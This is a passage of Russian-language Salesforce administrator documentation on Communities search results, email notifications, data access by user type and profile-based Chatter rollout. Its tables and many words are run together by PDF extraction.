наборов полномочий, а также результаты, доступные в сообществе напрямую. Данные результаты могут включать
содержимое внутреннейкомпаниии записи, которыенедоступныв сообщественапрямую. Например, еслипрофиль
пользователя разрешает доступ к сведениям об организациях, но сообщество не отображает вкладку «Организации»,
то пользователи могут просматривать сведения об организациях посредством результатов поиска.

• Функции глобального поиска и расширенного диалогового поиска пользователей (путем выбора параметра «Все
поля»), выполняемые внешними участниками сообщества, опрашивают ограниченный набор полей ниже.

– Имя

– Имя пользователя

– Код пользователя

– Текст

– Эл. почта
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– Тел.

– Настраиваемые поля

Например, если внешний участник сообщества выполняет поиск пользователя Иван Петров по его псевдониму
ipetrov, ноданныйтерминотсутствуетвполях, доступныхдляпоиска, топользовательИванПетровнеотображается
в результатах поиска.

• Поиски по записям и файлам возвращают не только результаты, доступные в сообществе. Поиски по записям
возвращаютвсе записи, доступныепользователювовсех сообществах, включая записивнутреннейорганизациипри
наличии соответствующего доступа. Ниже перечислены результаты, возвращаемые поисками по файлам.

– Собственные файлы

– Файлы, доступные напрямую

– Файлы, доступные в библиотеке

– Файлы, опубликованные в доступную запись

– Файлы, опубликованные в группы или доступные сообществу

• Чтобыотфильтроватьрезультатыпоискапообъекту в сообществе, рекомендуемадминистратору включитьфильтры
для нужного объекта во внутренней организации.

Управление электронными уведомлениями сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Электронные уведомления позволяют отслеживать важные обновления в сообществах.

Участники сообщества могут получать электронные уведомления о публикации
сообщений в их профили, комментировании прокомментированных ими сообщений,
публикации сообщений в группы с их участием и т. д. Параметры электронных
уведомлений задаются сообществом.

Чтобы настроить параметры эл. почты, откройте страницу профиля в сообществе,

нажмите раскрывающуюся кнопку ( ) в верхнем правом углу страницы, выберите
пункт «Мои параметры» ищелкните «Параметры эл. почты». Включите или
отключите индивидуальные уведомления.

Выбранныепараметрыприменяютсяктекущемусообществу. Даннаястраницапозволяет
настраивать групповые электронные рассылки только при участии пользователя как минимум в одной группе. При
необходимости параметры групповых электронных рассылок могут быть настроены посредством раскрывающегося
меню «Уведомлятьменяпоэл. почте...»на странице сведенийо каждой группе. Выберите нужнуючастоту: ежедневная
рассылка, еженедельная рассылка или уведомления о каждом сообщении. Данныйпараметр доступен только участникам
группы.

Параметрыэлектроннойпочтыидентичныпараметрамэл. почтыChatter во внутреннейорганизациина страницеличных
параметров («Имя пользователя»  > «Моипараметры» > «Параметры электроннойпочты» для пользователей Chatter
Free). Ниже перечислены отличия, которые могут быть обнаружены при использовании сообществ.

• Стандартнаячастотаотправки уведомленийдляновых групп, участникомкоторых становитсяпользователь, неможет
быть задана посредством пользовательского интерфейса. Она может быть задана только посредством интерфейсов
Salesforce API (SOAP API и REST API).

• В настоящее время индивидуальные рассылки не поддерживаются.

• ЕсливсообществевключенысообщенияChatter, вамбудутприходитьличныесообщенияосовместномиспользовании
файлов. Если сообщения Chatter отключены, уведомления о совместном использованиифайлов вы будете получать
по электронной почте.
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• Приналичиивключеннойфункцииприсвоенияпометокпараметр «Помечает элемент как недопустимый» доступен
всем участникам сообщества, но инициирует отправку уведомлений только при выполнении условий ниже.

– Пользователь является менеджером или ответственным за группу, а участник помечает сообщение, комментарий
или файл в группе, управляемой менеджером или принадлежащей ответственному.

– Пользователь является модератором, а участник помечает сообщение, комментарий или файл, доступный
модератору. В зависимости от типа нужного уведомления потребуются следующие полномочия.

Требуемое полномочиеЭлектронные уведомления о

“«Модерирование лент сообществ»Помеченные сообщения и
комментарии

“«Модерирование файлов сообществ»Помеченные файлы

“«Модерированиелентсообществ»и«Управлениесообщениямисообщества
Chatter»

Помеченные личные сообщения
Chatter

Если ссылка «Пометить как недопустимое» не работает в электронном сообщении, попробуйте пометить
сообщение из пользовательского интерфейса.

СМ. ТАКЖЕ:

Переход к параметрам эл. почты Chatter

Кому и какие данные доступны в сообществах?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сообщества поддерживают разные уровни доступа для разных типов пользователей.
Отображаемые данные определяются типом пользователя и вкладками, выбранными
администратором при создании сообщества. Кроме того, алгоритм отображения не
учитывает обновления модели общего доступа или правил общего доступа
пользователей.

Внешний
участник
сообщества
(лицензия
клиентского
портала,
партнерского
портала,
партнерского
сообщества или
клиентского
сообщества)

Участник
сообщества
Salesforce (все
лицензии
Salesforce,
включая Chatter
Free и Chatter
Only)

Администратор
или пользователь
Salesforce с
полномочием
«Создание и
настройка
сообществ»

НедоступноНедоступноСоздание и
настройка вкладок

Администрирование
сообществ в
Salesforce или фирменного

стиля, добавление
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор или
пользователь Salesforce с
полномочием «Создание
и настройка сообществ»

или удаление участников,
активация или деактивация
сообщества. Создание и
настройка сообществ
доступны только при
наличии полномочия
«Настройка приложения».

Раскрывающееся меню,
расположенное в общем

Раскрывающееся меню,
расположенное в общем

Раскрывающееся меню,
расположенное в общем

Общийверхнийколонтитул

верхнем колонтитуле,верхнем колонтитуле,верхнем колонтитуле,
содержит списокдоступных
сообществ.

Отсутствие доступа к
сообществам со статусом

содержит список созданных
или доступных сообществ.
Кроме того, меню содержит
ссылки для возврата во
внутреннюю организацию.

Отсутствие доступа к
сообществам со статусом

содержит список созданных
или доступных сообществ.
Кроме того, меню содержит
ссылки для возврата во
внутреннюю организацию.

Доступ для настройки всех
сообществ.

«Неактивно». Просмотр
сообществ со статусом
«Предварительный

«Неактивно». ПросмотрПросмотр сообществ со
статусом «Предварительный
просмотр».

просмотр»  (при наличии
ссылки).сообществ со статусом

«Предварительный
просмотр»  (при наличии
ссылки).

Просмотр меню «Мои
параметры», меню

Аналогично внутренней
организации.

Пользователям Chatter Free
отображается меню «Мои

Аналогично внутренней
организации.

Меню Имя пользователя в
общемверхнемколонтитуле

«Редактировать контактные
данные» и ссылки «Выход».
Меню «Мои параметры»параметры», меню
отображается внешним«Редактировать контактные
пользователям в видеданные» и ссылка «Выход».
области наложения,Меню «Мои параметры»
позволяющей обновлятьотображаетсяпользователям
параметры размещения,Chatter Free в виде области
параметры безопасности,наложения, позволяющей
параметры эл. почты иобновлять параметры
утвержденныеподключения.размещения, параметры
Данные параметрыбезопасности, параметрыэл.
применяются ко всемпочты и утвержденные
доступным сообществам.подключения. Данные
Данная область наложенияпараметры применяются ко
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор или
пользователь Salesforce с
полномочием «Создание
и настройка сообществ»

внутренней организации и
всем доступным

отличается от страницы
«Моипараметры», доступной

сообществам. Данная другим внутренним
область наложения пользователям после
отличается от страницы включения улучшенного
«Моипараметры», доступной пользовательского

интерфейса настройки.другим внутренним
пользователям после
включения улучшенного
пользовательского
интерфейса настройки.

НедоступноУ пользователей с
полномочием «Управление

У администраторов или
пользователей с

Меню «Управление
сообществом» в общем
верхнем колонтитуле сообществом» отображается

меню, с помощью которого
полномочием «Управление
сообществами»

можно просматриватьотображается меню, с
сообщество или открыватьпомощью которого можно
конструктор сообществ,просматривать сообщество
Site.com Studio и Force.com.или открывать параметры
Обратите внимание, чтосообщества в конструкторе
функция «Конструкторсообществ, Site.com Studio и
сообществ»неотображаетсяForce.com. Обратите
для сообществ, созданных свнимание, что функция
помощью вкладок Salesforce«Конструкторсообществ»не
в сочетании с шаблоном
Visualforce.

Это меню отображается
только в управлении
сообществом.

отображаетсядлясообществ,
созданных с помощью
вкладок Salesforce в
сочетании с шаблоном
Visualforce.

Это меню отображается
только в управлении
сообществом.

НедоступноСтандартнымпользователям
Salesforce отображается

Просмотр интерактивной
справки Salesforce.

Интерактивная справка
Salesforce

интерактивная справка
Salesforce. Пользователям
Chatter Free отображается
справка Chatter.
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор или
пользователь Salesforce с
полномочием «Создание
и настройка сообществ»

Просмотр других участников сообщества и доступность другим участникам.Люди

Просмотр полей «Личное
имя», «Фамилия» и

Просмотр всех полей контактных данных (например,
«Должность», «Рабочий телефон» и «Эл. почта») во всех

Всплывающие сведения о
профилях и людях

«Прозвище», а такжепрофиляхучастниковсообщества. Всплывающиесведения
фотографий для профилейо людях всегда содержат поля участников «Должность»,

«Рабочий телефон» и «Мобильный телефон». всех участников, но только
полей дополнительных
контактных данных,
выбранныхучастникамидля
отображения внешним
пользователям. По
умолчанию отображается
только поле «Должность».
Всплывающие сведения о
людях содержат поля
«Должность», «Рабочий
телефон» и «Мобильный
телефон» только в том
случае, если отображение
данных полей разрешается
участником.

Просмотр записей,
доступных (наосновеправил

Стандартнымпользователям
Salesforce отображаются

Просмотр записей,
доступных (наосновеправил

Записи (например,
организации, интересы,
возможности) общего доступа и

полномочий) во всех
сообществах.

записи, доступные (наоснове
правил общего доступа) во
всех сообществах и
внутренней организации.

общего доступа) во всех
сообществах и внутренней
организации.

Пользователям Chatter Free
не отображаются записи.

Внешние пользователи на
основе ролей могут

Просмотр и создание панелей мониторинга и отчетов.Панели мониторинга и
отчеты

создавать и редактировать
отчеты и панели
мониторингав сообществах,
но не в порталах. Но есть
некоторые исключения.
Дополнительные сведения
см. в разделе «Настройка
функции управления
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор или
пользователь Salesforce с
полномочием «Создание
и настройка сообществ»

отчетами для внешних
пользователей: создание и
редактирование отчетов».
Только суперпользователи
могут обновлять панели
мониторинга.

Доступность для категории
статьи.

Лицензия «Пользователь
Salesforce Knowledge»,
полномочие «Чтение» для

Лицензия «Пользователь
Salesforce Knowledge»,
полномочие «Чтение» для

Статьи Salesforce Knowledge

типа статьи и доступность
для категории статьи.

типа статьи и доступность
для категории.

Доступность Chatter

Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор Salesforce

Сообщества позволяют
пользователям

Сообщества позволяют
пользователям

Сообщества позволяют
пользователям

Группы

просматривать все группыпросматривать все группыпросматривать все группы
внутри сообщества ивнутри сообщества ивнутри сообщества и
становиться их участником,становиться их участником,становиться их участником,
но не позволяютно не позволяютно не позволяют
просматривать группы сопросматривать группы сопросматривать группы со
своим участием из других
сообществ.

Созданиегрупп. Публикация
или комментирование

своим участием из других
сообществ или внутренней
организации.

Созданиегрупп. Публикация
или комментирование

своим участием из других
сообществ или внутренней
организации.

Созданиегрупп. Публикация
или комментирование сообщений, добавление

сообщений, добавлениесообщений, добавление файлов или ссылок и
файлов или ссылок ифайлов или ссылок и публикация сообщений
публикация сообщенийпубликация сообщений других пользователей в

группах со своим участием.других пользователей в
группах со своим участием.

других пользователей в
группах со своим участием.
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор Salesforce

Администраторы могут
предоставлять
пользователяморганизации
и внешним пользователям
возможностьсозданиягрупп
посредством полномочия
«Создание и несение
ответственности за новые
группы Chatter».

Независимо от текущего
сообщества, пользователям

Независимо от текущего сообщества, пользователям
отображаются собственные файлы Chatter, файлы,

Файлы

отображаются собственныедоступные напрямую, файлы, доступные в библиотеке, и
файлы, опубликованные в доступную запись.

Файлы, опубликованные в группы и доступные всему
сообществу, могут быть просмотрены только внутри
сообщества.

файлы, файлы, доступные
напрямую, и файлы,
доступные в библиотеке.
Пользователям портала
отображаются файлы,
опубликованные в
доступные записи, если
сообщение, содержащее
запись, не помечено
флажком «Только для
внутреннего пользования».

Просмотр профилей для
всех участников текущего

Просмотр профилей для всех участников текущего
сообщества.

Профили

сообщества.Отсутствие
права на просмотр
профилей пользователей
внутренней организации.

Доступность профиля
применяет правила общего
доступа.

Пользователям отображаются рекомендации по людям, группам, файлам и записям
только для текущего сообщества.

Рекомендации
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор Salesforce

Просмотр статистики по
действиям и влияния для
текущего сообщества.

Все действия над записями
(например, сообщения и

Просмотрстатистикиподействиямивлияниядлятекущего
сообщества.

Все действия над записями (например, сообщения и
комментарии) учитываются внутренней организацией
пользователя, но не сообществом, используемым для их
выполнения.

Активность и влияние

комментарии) не
учитываютсястатистикойпо
действиям и влиянием
пользователя.

Параметры электронных
уведомлений задаются

Параметры электронных
уведомлений задаются

Параметры электронных
уведомлений задаются

Электронные уведомления

сообществом.Сообществасообществом. Сообществасообществом. Сообщества
позволяют внешнимпозволяют стандартнымпозволяют пользователям
пользователям настраиватьпользователям Salesforceнастраивать параметры
электронные уведомлениянастраивать параметрыэлектронных уведомлений
Chatter путемэлектронных уведомленийChatter на странице личных

параметров.

Это позволяет управлять
электронными

последовательного выбора
пунктов «Имя
пользователя»  > «Мои
параметры» > «Параметры

Chatter на странице личных
параметров.

Это позволяет управлять
электроннымиуведомлениями для

эл. почты». Пользователиуведомлениями длявнутренних организаций на
портала могут настраиватьвнутренних организаций настранице личных
параметры групповыхстранице личныхпараметров. (Введите строку
электронных уведомлений
на странице каждой группы.

Сообщества не
поддерживают

параметров. (Введите строку
«Chatter» в поле
«Быстрый поиск» и
выберите пункт
«Уведомления эл. почты».)

«Chatter» в поле
«Быстрый поиск» и
выберите пункт
«Уведомления эл. почты».)

Сообществапозволяютвсем
пользователям настраивать

индивидуальные
электронные рассылки
Chatter. Несмотря на

Пользователи Chatter Free
могут настраиватьпараметры групповых

поддержку групповыхсообщения эл. почтыChatterэлектронных уведомлений
на странице каждой группы. рассылок, отправка

электронныхуведомленийо
для сообществ путем
последовательного выбораСообщества не

поддерживают
каждом сообщении
отключается для групп,

«Имя пользователя»  > «Мои
парамеры» > «Параметрыиндивидуальные численность которыхэл. почты». Выбранныеэлектронные рассылки превышает 10 000параметры применяются к
текущему сообществу.

Chatter. Несмотря на
поддержку групповых

участников. Всем
участникам, выбравшим
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор Salesforce

Сообществапозволяютвсем
пользователям настраивать

рассылок, отправка
электронныхуведомленийо

данный параметр,
автоматически назначаются
ежедневные рассылки.параметры групповых

электронных уведомлений
на странице каждой группы.

каждом сообщении
отключается для групп,
численность которых
превышает 10 000 Сообщества не

поддерживаютучастников. Всем
участникам, выбравшим индивидуальные
данный параметр, электронные рассылки
автоматически назначаются
ежедневные рассылки.

Chatter. Несмотря на
поддержку групповых
рассылок, отправка
электронныхуведомленийо
каждом сообщении
отключается для групп,
численность которых
превышает 10 000
участников. Всем
участникам, выбравшим
данный параметр,
автоматически назначаются
ежедневные рассылки.

Просмотр тем с хэштегами и тем Chatter, включая темы в лентах, список тем, страницы
сведенийотемах, раздел «Самыеобсуждаемыетемы», раздел «Темынедавнихобсуждений»
только для текущего сообщества.

Темы

Добавление только
избранных тем в текущее
сообщество.

Добавление избранных поисков, тем и списковых
представлений в текущее сообщество.

Избранное

Просмотр всех сообщений,
отправленных или

Просмотр личных
сообщений, отправленных

Просмотр личных
сообщений, отправленных

Сообщения Chatter

полученных в любомили полученных воили полученных во
сообществе со своимвнутренней организации,внутренней организации,
участием, посредствомпосредством спискапосредством списка
списка сообщений Chatter
пользователя.

Отправка сообщенияChatter
участнику обычного

сообщений Chatter, а также
всех сообществ со своим
участием.

Отправка сообщенияChatter
участнику обычного

сообщений Chatter, а также
всех сообществ со своим
участием.

Отправка сообщенияChatter
участнику обычного сообщества (сообщение
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce (все лицензии
Salesforce, включая
Chatter Free и Chatter
Only)

Администратор Salesforce

должнобытьинициировано
внутри сообщества,

сообщества (сообщение
должнобытьинициировано

сообщества (сообщение
должнобытьинициировано

участником котороговнутри сообщества,внутри сообщества,
является целевой
пользователь).

участником которого
является целевой
пользователь).

участником которого
является целевой
пользователь).

Полномочия «Управление
сообщениями Chatter» и «API

Сообщения Chatter
отображаются на вкладке
Chatter, которая может быть

включен» позволяют отключена для внешних
администраторам удалять
сообщения.

участников сообщества.
Чтобы разрешить
сообществамиспользованиеИнтерфейс API позволяет

пользователям отправлять сообщений Chatter,
администратор долженсообщения Chatter между

сообществами. проверить доступность
вкладки Chatter.

Сообщества не поддерживают Messenger.Messenger (чат)

Доступность лент
Таблица ниже определяет действия или содержимое, доступное каждому типу пользователя в лентах Chatter внутри
сообщества.

Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce

Администратор Salesforce

Публикация в любых
записях внутри доступного
сообщества.

Публикация в любых
записях внутри доступного
сообщества.

Публикация в любых
записях внутри сообщества.

Публикация в записи

Добавление закладок на сообщения внутри текущего сообщества. Лента «Добавленные
в закладки» содержит только сообщения из текущего сообщества.

Добавление закладки на
сообщение

Упоминание людей,
характерных для текущего
сообщества.

Упоминаниелюдей, характерныхдлятекущегосообщества.
Внутреннее сообщение не может содержать упоминание
внешнего пользователя.

Упомянуть пользователя
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского сообщества
или клиентского
сообщества)

Участник сообщества
Salesforce

Администратор Salesforce

Публикация сообщения только в текущем сообществе.Повторная публикация
сообщения

Добавление тем с хэштегами и тем Chatter в любые сообщения внутри текущего
сообщества. Темы характерны для текущего сообщества и не могут быть доступны из
другого сообщества.

Добавление тем в
сообщение

Доступность поисков
Алгоритмпоискапо сообществамнемногоотличается от алгоритмапоискапо внутреннейорганизации. Поумолчанию
результаты поиска применяют правила общего доступа для всех элементов. Таблица ниже описывает результаты,
возвращаемые поисками для каждого типа пользователя сообщества.

Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского
сообщества или
клиентского сообщества)

Участник сообщества
Salesforce

АдминистраторРезультаты поиска для:

Люди, характерные для текущего сообщества.Люди

Пользователи • Данные из скрытых полей профиля недоступны для поиска, выполняемого в
сообществе другими партнерами и клиентами, но доступны для поиска,
выполняемого пользователями во внутренней организации компании.

• Пользователи портала могут выполнять поиск по пользователям сообщества
только после выключения функции поиска на боковой панели.

• Функции глобального поиска и расширенного поиска пользователей (путем
выборапараметра«Всеполя»), выполняемыевнешнимиучастникамисообщества,
опрашивают ограниченный набор полей ниже.

– Имя

– Имя пользователя

– Код пользователя

– Текст

– Эл. почта

– Тел.

– Настраиваемые поля

Группы, характерные для текущего сообщества.Группы
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского
сообщества или
клиентского сообщества)

Участник сообщества
Salesforce

АдминистраторРезультаты поиска для:

Доступность в текущем
сообществе:

Доступность в текущем сообществе:Файлы

• Собственные файлы
• Собственные файлы• Файлы, доступные пользователю в личной или

общедоступной группе • Файлы, доступные
пользователювличной• Файлы, доступные всему сообществу
или общедоступной
группеДоступность в любом сообществе:

• Файлы, опубликованныевдоступныезаписииленты
записей

• Файлы, доступные
всему сообществу

• Доступныефайлыбиблиотеки Salesforce CRM Content Доступность в любом
сообществе:Файлы, принадлежащие пользователю, всегда

отображаются в результатах поиска для данного
пользователя, независимо от способа их загрузки.

• Файлы,
опубликованные в
доступные записи и
ленты записей (если
файл, опубликованный
в запись, не помечен
флажком «Только для
внутреннего
пользования»)

• Доступные файлы
библиотеки Salesforce
CRM Content

Файлы, принадлежащие
пользователю, всегда
отображаются в
результатах поиска для
данного пользователя,
независимо от способа их
загрузки.

Темы, характерные для текущего сообщества.Темы

Сообщенияи комментариилентыиз сообщества, использованногодля выполнения
поиска.

Глобальный поиск возвращает результаты из контекстов всех лент. Контекстный

поиск по лентам ( ) возвращает результаты из контекста, использованного для

Ленты

выполненияпоиска (например, излентыпрофиляпользователя, записиили группы).
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского
сообщества или
клиентского сообщества)

Участник сообщества
Salesforce

АдминистраторРезультаты поиска для:

Чтобы найти нужные сведения в ленте другого сообщества, выполните поиск по
нужному сообществу.

Недавно использованные элементы, характерные для текущего сообщества.Автозаполнение полей поиска

Доступность для всех
элементов, доступных

Доступность для всех
элементов, доступных

Полная доступность для всех
элементов во всех

Записи (организации, контакты,
интересы и т. д.)

пользователюпосредствомпользователюсообществах и внутренней
организации. профиля или наборов

полномочий, во всех
сообществах.

посредством профиля
или наборов
полномочий, во всех
сообществах и
внутреннейорганизации.

Пользователи, являющиеся
участниками всех

Все пользователи во всех сообществах и внутренней
организации.

Поискипользователейв записях

сообществ со своим
участием, и другие
внешние пользователи,
связанные с той же
внешней организацией.
Лицензии партнерского
портала позволяют
пользователям
просматривать
ответственного за
организацию портала.

Список «Недавно
просмотренные
пользователи» в поле
поиска содержит всех
пользователей, которым
предоставлен доступ
посредством лицензии,
профиля, параметров,
наборов полномочий и
правил общего доступа.
Настройки функции
общего доступа к
пользователям,
включенной в
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского
сообщества или
клиентского сообщества)

Участник сообщества
Salesforce

АдминистраторРезультаты поиска для:

организации, могут влиять
на данный алгоритм.

Расширенные поиски
пользователей,
выполняемые внешними
участниками сообщества,
обрабатывают
ограниченный набор
полей (при наличии
флажка «Все поля»).

Доступность для всех
элементов, доступных

Доступность для всех
элементов, доступных

Полная доступность для всех
элементов во всех

Поиски в записях

пользователюпосредствомпользователюсообществах и внутренней
организации. профиля или наборов

полномочий, во всех
сообществах.

посредством профиля
или наборов
полномочий, во всех
сообществах и
внутреннейорганизации.

НетНетПоиски в управлении
сообществом первыми

Просмотр результатов поисков
в управлении сообществом

возвращают элементы,
просмотренные недавно в
рамках сообщества. Если
искомыйобъектненаходится
в списке «Недавно
просмотренные документы»,
рекомендуем ввести имя
объекта полностью или
частично и запустить поиск
снова.
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Внешний участник
сообщества (лицензия
клиентского портала,
партнерского портала,
партнерского
сообщества или
клиентского сообщества)

Участник сообщества
Salesforce

АдминистраторРезультаты поиска для:

Доступностьдлякатегории
статьи.

Лицензия «Пользователь
Salesforce Knowledge»,
полномочие «Чтение»

Лицензия «Пользователь
Salesforce Knowledge»,
полномочие «Чтение» для

Статьи Salesforce Knowledge

для типа статьи итипастатьиидоступностьдля
категории. доступность для

категории статьи.

СМ. ТАКЖЕ:

Общие сведения о сообществах Salesforce
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Настройка и обслуживание инструментов сотрудничества

Добро пожаловать, администраторы инструментов сотрудничества!

Даннаядокументациясодержитсведенияирекомендации, необходимыедля сотрудничествапользователейдруг с другом,
а также внешними пользователями. Администраторам доступны сведения о настройке и расширении Chatter, а также
включенииприложения Salesforce CRM Content для создания, группированияиотправкифайлов запределыорганизации.
Дополнительную информацию о базовом администрировании Salesforce см. в руководстве «Настройка организации».

Salesforce Chatter

Chatter

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения сетиChatter:
• «Настройка

приложения»

Chatter — это приложение Salesforce, предназначенное для сотрудничества, которое
позволяет пользователям эффективно работать внутри организации, независимо от их
роли или местоположения. Chatter позволяет пользователям сотрудничать над
возможностями, обращениями, кампаниями и проектами посредством внедренных
приложений и настраиваемых действий.

По умолчанию Chatter доступен всем пользователям организаций Salesforce, созданных
после 22 июня 2010 года. Тем не менее, организации могут выполнять развертывание
Chatter на основе профиля, позволяющее предоставлять доступ к Chatter только
некоторым рабочим группам. При развертывании на основе профиля доступ к Chatter
предоставляется только пользователям соответствующего профиля или набора
полномочий. Развертывание Chatter на основе профиля рекомендуется более крупным
компаниям и компаниям или государственным органам, применяющим нормативные
ограничения. Оно позволяет компаниям планировать управляемое развертывание и
внедрение Chatter для отдельных подразделений.

Рекомендуем развертывать Chatter для всех пользователей организации, кроме случаев
предоставления полного доступа к Chatter только некоторым пользователям. Chatter
абсолютно безопасен, так как использует все параметры безопасности и полномочий,
применяемые организацией Salesforce.

СМ. ТАКЖЕ:

Общие сведения о развертывании Chatter на основе профиля
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Общие сведения о развертывании Chatter на основе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Развертывание Chatter на основе профиля позволяет включать Chatter для группы
пользователей (вместо всех пользователей организации).

Благодаря развертыванию Chatter на основе профиля доступ к Chatter может быть
предоставлен только некоторым пользователям организации. Если организация
поддерживает развертывание Chatter на основе профиля, то доступ к Chatter может быть
предоставлен пользователям посредством профиля или набора полномочий. Всем
другим пользователям организации Chatter будет недоступен.

Пример: Предположим, для подгруппы пользователей назначен профиль или
набор полномочий, не включающие в себя доступ к Chatter. Пользователи из этой
подгруппы по-прежнему будут иметь доступ к объектам Salesforce, но не смогут
просматривать ленту записей и публиковать сообщения.

Подготовка к развертыванию Chatter на основе профиля
При частичном развертывании Chatter рекомендуем подготовить организацию для управления доступом к Chatter
посредством настраиваемых профилей пользователей и наборов полномочий.

Управление доступом к Chatter посредством профилей
Чтобы предоставить или отменить доступ пользователей к Chatter, рекомендуем изменить текущие настраиваемые
профили.

Управление доступом к Chatter посредством наборов полномочий
Пользователи могут изменять текущие и создавать новые наборы полномочий для управления доступом к Chatter.

Рекомендации по развертыванию на основе профиля
Организации, использующиефункциюразвертывания Chatter наосновепрофиля, применяютнекоторыеограничения
к профилям, наборам полномочий и взаимодействиям между пользователями, которым доступен или недоступен
Chatter.

Подготовка к развертыванию Chatter на основе профиля

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При частичном развертывании Chatter рекомендуем подготовить организацию для
управления доступом к Chatter посредством настраиваемых профилей пользователей и
наборов полномочий.

Ниже перечислены основные этапы развертывания Chatter на основе профиля.

1. Компания Salesforce включает функцию развертывания Chatter на основе профиля
для организации.

2. Администратор определяет пользователей для предоставления доступа к Chatter.

3. Администратор проверяет и изменяет текущие настраиваемые профили
пользователей и наборы полномочий.

4. Администраторпроверяеттекущеесостояниеполномочия «Включение Chatter» внастраиваемомпрофилепользователя
или наборе полномочий.

5. Администратор назначает пользователям связанный профиль или набор полномочий для предоставления или
ограничения доступа к Chatter.
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6. Администратор включает Chatter для организации.

СМ. ТАКЖЕ:

Общие сведения о развертывании Chatter на основе профиля

Управление доступом к Chatter посредством профилей

Управление доступом к Chatter посредством наборов полномочий

Управление доступом к Chatter посредством профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Chatter:
• «Настройка

приложения»

ЧтобыпредоставитьилиотменитьдоступпользователейкChatter, рекомендуемизменить
текущие настраиваемые профили.

ВключениефункцииразвертыванияChatterнаосновепрофиляинициируетдобавление
полномочия «Включение Chatter» во все текущие профили и наборы полномочий.
Данноеполномочиевключается автоматическидля всех стандартныхпрофилей. Кроме
того, оно включается автоматически для всех настраиваемых профилей, при условии,
что одно из указанных ниже полномочийпользователя уже включено вручнуюили как
часть лицензии.

• «Создание и несение ответственности за новые группы Chatter» (ChatterOwnGroups)

• «Создание и публикация доставок содержимого для файлов Chatter» (ChatterFileLink)

• «Приглашение клиентов в Chatter» (ChatterInviteExternalUsers)

• «Управление сообщениями Chatter» (ManageChatterMessages)

• «Модерирование Chatter» (ModerateChatter)

• «Модерирование лент Chatter» (ModerateNetworkFeeds)

• «Использование ленты обращений» (ViewCaseInteraction)

• «Просмотр всех данных» (ViewAllData)

При необходимости измените текущие настраиваемые профили с нужными полномочиями для управления доступом
к Chatter или создайте новые настраиваемые профили.

1. Выполните вход в качестве администратора Salesforce.

2. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем выберите «Профили».

3. Выполните указанные ниже действия для каждого текущего настраиваемого профиля.

a. Нажмите кнопку «Правка».
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b. Чтобы предоставить или отменить доступ пользователей данного профиля к Chatter, установите или снимите
флажок «Включение Chatter» в разделе «Полномочия администратора».

Данное полномочие доступно только организациям, включившимфункцию развертывания Chatter на основе
профиля.

c. Сохраните внесенные изменения.

4. При необходимости создайте настраиваемые профили с нужными полномочиями и назначьте их пользователям.

Прим.: Выборполномочия «Включение Chatter» впрофилепользователянеинициируетавтоматическоевключение
Chatter для данного пользователя. Chatter может использоваться только после фактического включения Chatter для
организации.

СМ. ТАКЖЕ:

Подготовка к развертыванию Chatter на основе профиля

Управление доступом к Chatter посредством наборов полномочий

Параметры Chatter

Рекомендации по развертыванию на основе профиля
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Управление доступом к Chatter посредством наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Chatter:
• «Настройка

приложения»

